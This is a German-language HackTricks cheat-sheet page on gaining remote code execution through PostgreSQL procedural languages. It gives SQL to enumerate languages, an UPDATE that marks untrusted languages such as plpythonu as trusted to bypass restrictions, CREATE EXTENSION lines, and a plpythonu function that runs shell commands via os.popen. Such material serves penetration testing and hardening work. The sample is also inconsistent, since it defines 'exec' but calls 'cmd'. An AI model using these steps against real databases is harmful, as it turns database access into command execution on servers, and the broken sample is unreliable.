RCE with PostgreSQL Languages

Unterstütze HackTricks

PostgreSQL-Sprachen

Die PostgreSQL-Datenbank, auf die du Zugriff hast, könnte verschiedene Skriptsprache installiert haben, die du missbrauchen könntest, um willkürlichen Code auszuführen.

Du kannst sie zum Laufen bringen:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Die meisten der Skriptsprachen, die Sie in PostgreSQL installieren können, haben 2 Varianten: die vertrauenswürdige und die unvertrauenswürdige. Die unvertrauenswürdige hat einen Namen, der mit "u" endet und ist die Version, die es Ihnen ermöglicht, Code auszuführen und andere interessante Funktionen zu nutzen. Dies sind Sprachen, die, wenn sie installiert sind, interessant sind:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (jede andere Programmiersprache, die eine unsichere Version verwendet)

Wenn Sie feststellen, dass eine interessante Sprache installiert ist, aber von PostgreSQL unvertrauenswürdig ist (lanpltrusted ist false), können Sie versuchen, sie mit der folgenden Zeile vertrauenswürdig zu machen, sodass keine Einschränkungen von PostgreSQL angewendet werden:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Wenn Sie eine Sprache nicht sehen, können Sie versuchen, sie mit (Sie müssen Superadmin sein):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Beachten Sie, dass es möglich ist, die sicheren Versionen als "unsicher" zu kompilieren. Überprüfen Sie dies zum Beispiel. Es lohnt sich also immer zu versuchen, ob Sie Code ausführen können, auch wenn Sie nur die vertrauenswürdige Version gefunden haben.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Überprüfen Sie die folgende Seite:

PL/pgSQL Password Bruteforce

C

Überprüfen Sie die folgende Seite:

RCE with PostgreSQL Extensions
Unterstützen Sie HackTricks

Last updated